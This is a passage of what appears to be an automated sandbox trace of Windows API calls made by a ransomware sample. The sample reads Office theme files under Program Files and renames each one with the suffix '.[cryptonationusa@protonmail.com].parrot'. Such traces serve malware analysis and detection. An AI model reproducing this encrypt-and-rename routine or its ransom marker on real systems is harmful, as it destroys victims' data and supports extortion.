dwFlags=0x0, lpMem=0x693b98 | out: hHeap=0x5b0000) returned 1 [0122.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.740] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.741] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.742] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.742] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7fc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7fc, lpOverlapped=0x0) returned 1 [0122.743] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x693b98 | out: hHeap=0x5b0000) returned 1 [0122.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0122.746] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.746] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.747] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.747] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x74e5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x74e5, lpOverlapped=0x0) returned 1 [0122.750] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x693b98 | out: hHeap=0x5b0000) returned 1 [0122.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6532a0 | out: hHeap=0x5b0000) returned 1 [0122.756] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.756] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.759] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.759] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xba44, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xba44, lpOverlapped=0x0) returned 1 [0122.762] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x693f78 | out: hHeap=0x5b0000) returned 1 [0122.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.770] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.770] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.771] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.771] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x262, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x262, lpOverlapped=0x0) returned 1 [0122.771] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x693f78 | out: hHeap=0x5b0000) returned 1 [0122.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.774] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.774] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.775] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.776] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x553, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x553, lpOverlapped=0x0) returned 1 [0122.776] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x693f78 | out: hHeap=0x5b0000) returned 1 [0122.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0122.778] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.778] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.780] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.780] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4f93, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4f93, lpOverlapped=0x0) returned 1 [0122.783] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x693f78 | out: hHeap=0x5b0000) returned 1 [0122.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6532a0 | out: hHeap=0x5b0000) returned 1 [0122.788] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.788] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.789] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.789] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd613, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd613, lpOverlapped=0x0) returned 1 [0122.792] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.793] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694458 | out: hHeap=0x5b0000) returned 1 [0122.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.796] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.797] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.798] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.798] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e6, lpOverlapped=0x0) returned 1 [0122.798] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.798] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.799] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694458 | out: hHeap=0x5b0000) returned 1 [0122.799] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.799] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.800] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.801] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.802] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.802] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x50d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x50d, lpOverlapped=0x0) returned 1 [0122.802] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.803] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694458 | out: hHeap=0x5b0000) returned 1 [0122.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0122.805] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.805] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.808] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.808] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x505f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x505f, lpOverlapped=0x0) returned 1 [0122.810] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.811] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694458 | out: hHeap=0x5b0000) returned 1 [0122.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6532a0 | out: hHeap=0x5b0000) returned 1 [0122.816] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.816] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.817] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.817] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb1d8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb1d8, lpOverlapped=0x0) returned 1 [0122.820] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.824] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694838 | out: hHeap=0x5b0000) returned 1 [0122.824] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.824] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.828] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.828] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.829] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.829] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e0, lpOverlapped=0x0) returned 1 [0122.829] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.830] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694838 | out: hHeap=0x5b0000) returned 1 [0122.830] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.830] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.832] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.832] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.833] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.834] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x507, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x507, lpOverlapped=0x0) returned 1 [0122.834] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.834] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694838 | out: hHeap=0x5b0000) returned 1 [0122.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0122.836] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.836] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.838] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.838] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6fb3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6fb3, lpOverlapped=0x0) returned 1 [0122.843] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.844] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694838 | out: hHeap=0x5b0000) returned 1 [0122.844] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.844] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6532a0 | out: hHeap=0x5b0000) returned 1 [0122.849] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.849] ReadFile (in: 